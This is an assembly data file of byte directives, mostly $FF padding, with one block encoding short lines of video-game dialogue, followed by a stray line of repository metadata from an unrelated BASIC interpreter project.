db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $48, $61, $20, $68, $61, $20, $68, $61
db $21, $20, $44, $6F, $20, $69, $74, $21
db $44, $6F, $20, $69, $74, $21, $20, $20
db $44, $6F, $20, $69, $74, $20, $20, $20
db $6D, $6F, $6F, $6F, $6F, $72, $65, $21
db $20, $2E, $2E, $2E, $20, $2E, $2E, $2E
db $48, $75, $6E, $68, $3F, $20, $20, $4E
db $6F, $2C, $20, $69, $74, $5E, $73, $20
db $6E, $6F, $74, $68, $69, $6E, $67, $2E
db $2E, $2E, $20, $49, $20, $20, $20, $20
db $64, $69, $64, $6E, $5E, $74, $20, $6D
db $65, $61, $6E, $20, $69, $74, $2E, $FF
db $4E, $6F, $74, $20, $76, $65, $72, $79
db $20, $67, $6F, $6F, $64, $2E, $2E, $2E
db $45, $68, $3F, $20, $20, $57, $68, $61
db $74, $3F, $20, $20, $44, $69, $64, $20
db $49, $20, $73, $61, $79, $20, $73, $6F
db $6D, $65, $74, $68, $69, $6E, $67, $3F
db $4E, $6F, $2C, $20, $79, $6F, $75, $5E
db $72, $65, $20, $68, $65, $61, $72, $2D
db $69, $6E, $67, $20, $74, $68, $69, $6E
db $67, $73, $2E, $2E, $2E, $FF, $23, $23
db $23, $23, $23, $2C, $20, $64, $6F, $20
db $79, $6F, $75, $20, $20, $20, $61, $6C
db $77, $61, $79, $73, $20, $6C, $6F, $6F
db $6B, $20, $69, $6E, $20, $20, $6F, $74
db $68, $65, $72, $20, $70, $65, $6F, $70
db $6C, $65, $5E, $73, $20, $20, $64, $72
db $61, $77, $65, $72, $73, $3F, $FF, $47
db $72, $65, $61, $74, $21, $20, $20, $44
db $69, $67, $20, $69, $74, $21, $20, $44
db $69, $67, $20, $69, $74, $21, $20, $20
db $44, $69, $67, $20, $74, $6F, $20, $74
db $68, $65, $20, $63, $65, $6E, $74, $65
db $72, $20, $6F, $66, $20, $20, $20, $74
db $68, $65, $20, $65, $61, $72, $74, $68
db $21, $21, $FF, $57, $68, $65, $77, $21
db $20, $20, $57, $68, $61, $74, $20, $61
db $20, $20, $20, $73, $75, $72, $70, $72
db $69, $73, $65, $21, $FF, $4F, $68, $68
db $21, $20, $20, $49, $5E, $6D, $20, $73
db $6F, $72, $72, $79, $21, $41, $72, $65
db $20, $79, $6F, $75, $20, $6F, $6B, $61
db $79, $3F, $21, $20, $20, $23, $23, $23
db $23, $23, $3F, $FF, $48, $65, $79, $20
db $4D, $6F, $6E, $21, $FF, $59, $6F, $75
db $20, $6B, $6E, $6F, $77, $20, $6D, $65
db $2C, $20, $49, $20, $20, $6C, $69, $6B
db $65, $20, $73, $68, $6F, $72, $74, $20
db $6E, $61, $6D, $65, $73, $74, $68, $65
db $20, $62, $65, $73, $74, $2E, $2E, $2E
db $FF, $49, $74, $20, $63, $61, $6E, $20
db $64, $69, $73, $70, $6C, $61, $79, $20
db $20, $6D, $69, $6C, $6C, $69, $6F, $6E
db $73, $20, $6F, $66, $20, $20, $20, $20
db $20, $70, $6F, $6C, $79, $67, $6F, $6E
db $73, $21, $FF, $49, $20, $64, $65, $66
db $69, $6E, $69, $74, $65, $6C, $79, $20
db $20, $20, $20, $6E, $65, $65, $64, $20
db $69, $74, $2C, $20, $61, $73, $20, $73
db $6F, $6F, $6E, $61, $73, $20, $70, $6F
db $73, $73, $69, $62, $6C, $65, $21, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
|
source/modules/basic/commands/for.asm | paulscottrobson/mega-basic | 3 | 83681 | ; *******************************************************************************************
